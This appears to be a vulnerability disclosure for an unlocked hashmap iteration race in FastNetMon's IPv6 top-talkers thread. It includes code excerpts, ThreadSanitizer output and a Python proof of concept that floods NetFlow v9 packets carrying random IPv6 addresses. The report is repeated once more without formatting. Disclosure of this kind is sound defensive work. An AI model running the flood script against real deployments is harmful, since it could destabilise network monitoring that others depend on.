Summary
FastNetMon's IPv6 top-talkers screen-draw thread iterates a shared counters map without holding its mutex, while a separate timer-driven thread inserts new keys (and triggers hashtable rehashes) into the same map under the correct lock. Confirmed via ThreadSanitizer: the read side has zero lock coverage.
Details
draw_table_ipv6() (src/fastnetmon_logic.cpp:2095-2107):
{
std::lock_guard<std::mutex> lock_guard(ipv6_host_counters.counter_map_mutex);
size_of_ipv6_counters_map = ipv6_host_counters.average_speed_map.size();
} // <-- lock released here
...
for (const auto& metric_pair : ipv6_host_counters.average_speed_map) { // <-- iterated with NO lock held
recalculate_speed() (timer-driven, fastnetmon.cpp:1567) correctly locks the same mutex while inserting new IPv6 hosts, which can trigger an unordered_map rehash - invalidating any concurrent unlocked iterator.
PoC
#!/usr/bin/env python3
"""Focused stress test for the IPv6 host-counters map race: floods distinct IPv6 source addresses via NetFlow v9
to force continuous insertions into ipv6_host_counters.average_speed_map, racing against
the periodic (check_period=1s) unlocked iteration in draw_table_ipv6()."""
import socket, struct, sys, threading, time, random
DEST_IP = "127.0.0.1"
PORT = 2055
SOURCE_ID = 42
TEMPLATE_ID = 700
stop_flag = threading.Event()
def netflow_header(flowset_count, seq):
return struct.pack(">HHIIII", 9, flowset_count, 0, 0, seq, SOURCE_ID)
def ipv6_template_flowset(template_id):
body = struct.pack(">HH", template_id, 1) + struct.pack(">HH", 27, 16) # NETFLOW9_IPV6_SRC_ADDR
return struct.pack(">HH", 0, 4 + len(body)) + body
def ipv6_data_flowset(template_id, n_records=16):
body = b""
for _ in range(n_records):
body += bytes([0x20, 0x01, 0x0d, 0xb8]) + bytes(random.randint(0, 255) for _ in range(12))
return struct.pack(">HH", template_id, 4 + len(body)) + body
def worker(sock, duration, thread_id):
seq = thread_id * 1000000
count = 0
end = time.time() + duration
while time.time() < end and not stop_flag.is_set():
seq += 1
if count % 50 == 0:
pkt = netflow_header(1, seq) + ipv6_template_flowset(TEMPLATE_ID)
try: sock.sendto(pkt, (DEST_IP, PORT))
except OSError: pass
pkt2 = netflow_header(1, seq) + ipv6_data_flowset(TEMPLATE_ID)
try: sock.sendto(pkt2, (DEST_IP, PORT))
except OSError: pass
count += 1
print(f"[worker-{thread_id}] sent {count} data packets")
def main():
duration = float(sys.argv[1]) if len(sys.argv) > 1 else 60
threads = [threading.Thread(target=worker, args=(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), duration, i))
for i in range(4)]
print(f"Starting 4 IPv6-flood threads for {duration}s targeting {DEST_IP}:{PORT}...")
start = time.time()
for t in threads: t.start()
for t in threads: t.join()
print(f"Done in {time.time() - start:.1f}s")
if __name__ == "__main__":
main()
Precondition: networks_list must include an IPv6 range covering the crafted addresses (2001:db8::/32) - otherwise the daemon silently drops them as un-monitored and no counters are ever touched (a real gotcha hit during testing).
Server-side result (ThreadSanitizer build; 67 warnings total across the test run, 26 directly involving draw_table_ipv6):
WARNING: ThreadSanitizer: data race (pid=72)
Write of size 8 by thread T6 (mutexes: write M1437):
#5 abstract_subnet_counters_t<...>::recalculate_speed(...) abstract_subnet_counters.hpp:163
#6 recalculate_speed() fastnetmon_logic.cpp:1977
#7 recalculate_speed_thread_handler() fastnetmon.cpp:1567
Previous read of size 8 by thread T5: <-- no "(mutexes: ...)" at all
#3 draw_table_ipv6[abi:cxx11](...) fastnetmon_logic.cpp:2105
#4 traffic_draw_ipv6_program() fastnetmon_logic.cpp:1491
#5 screen_draw_ipv6_thread() fastnetmon.cpp:1556
Location is global 'ipv6_host_counters' of size 152
TSan's own per-access mutex annotation confirms the exact diagnosed asymmetry: the writer holds a lock, the reader (draw_table_ipv6, line 2105) holds none.
Caveat: across ~3 minutes of sustained flooding, the daemon did not crash in this test window (it stayed in a running state throughou-). The race is real and tool-confirmed — ThreadSanitizer's own mutex analysis independently verifies the exact missing-lock mechanism — but a hard process crash from it was not observed, so this should be disclosed as "confirmed race, DoS reliability not established" rather than a guaranteed crash.
Impact
Confirmed data race on live hashtable internals during a concurrent rehash. Primary observed effect: undefined behavior flagged by ThreadSanitizer on every run under load; a hard crash (iterator invalidation into unmapped memory) is plausible but was not observed in testing, so DoS impact should be described as "likely, not proven reliable" rather than guaranteed.
Summary
FastNetMon's IPv6 top-talkers screen-draw thread iterates a shared counters map without holding its mutex, while a separate timer-driven thread inserts new keys (and triggers hashtable rehashes) into the same map under the correct lock. Confirmed via ThreadSanitizer: the read side has zero lock coverage.
Details
draw_table_ipv6()(src/fastnetmon_logic.cpp:2095-2107):{ std::lock_guard<std::mutex> lock_guard(ipv6_host_counters.counter_map_mutex); size_of_ipv6_counters_map = ipv6_host_counters.average_speed_map.size(); } // <-- lock released here ... for (const auto& metric_pair : ipv6_host_counters.average_speed_map) { // <-- iterated with NO lock heldrecalculate_speed()(timer-driven,fastnetmon.cpp:1567) correctly locks the same mutex while inserting new IPv6 hosts, which can trigger anunordered_maprehash - invalidating any concurrent unlocked iterator.PoC
Precondition:
networks_listmust include an IPv6 range covering the crafted addresses (2001:db8::/32) - otherwise the daemon silently drops them as un-monitored and no counters are ever touched (a real gotcha hit during testing).Server-side result (ThreadSanitizer build; 67 warnings total across the test run, 26 directly involving
draw_table_ipv6):TSan's own per-access mutex annotation confirms the exact diagnosed asymmetry: the writer holds a lock, the reader (
draw_table_ipv6, line 2105) holds none.Caveat: across ~3 minutes of sustained flooding, the daemon did not crash in this test window (it stayed in a running state throughou-). The race is real and tool-confirmed — ThreadSanitizer's own mutex analysis independently verifies the exact missing-lock mechanism — but a hard process crash from it was not observed, so this should be disclosed as "confirmed race, DoS reliability not established" rather than a guaranteed crash.
Impact
Confirmed data race on live hashtable internals during a concurrent rehash. Primary observed effect: undefined behavior flagged by ThreadSanitizer on every run under load; a hard crash (iterator invalidation into unmapped memory) is plausible but was not observed in testing, so DoS impact should be described as "likely, not proven reliable" rather than guaranteed.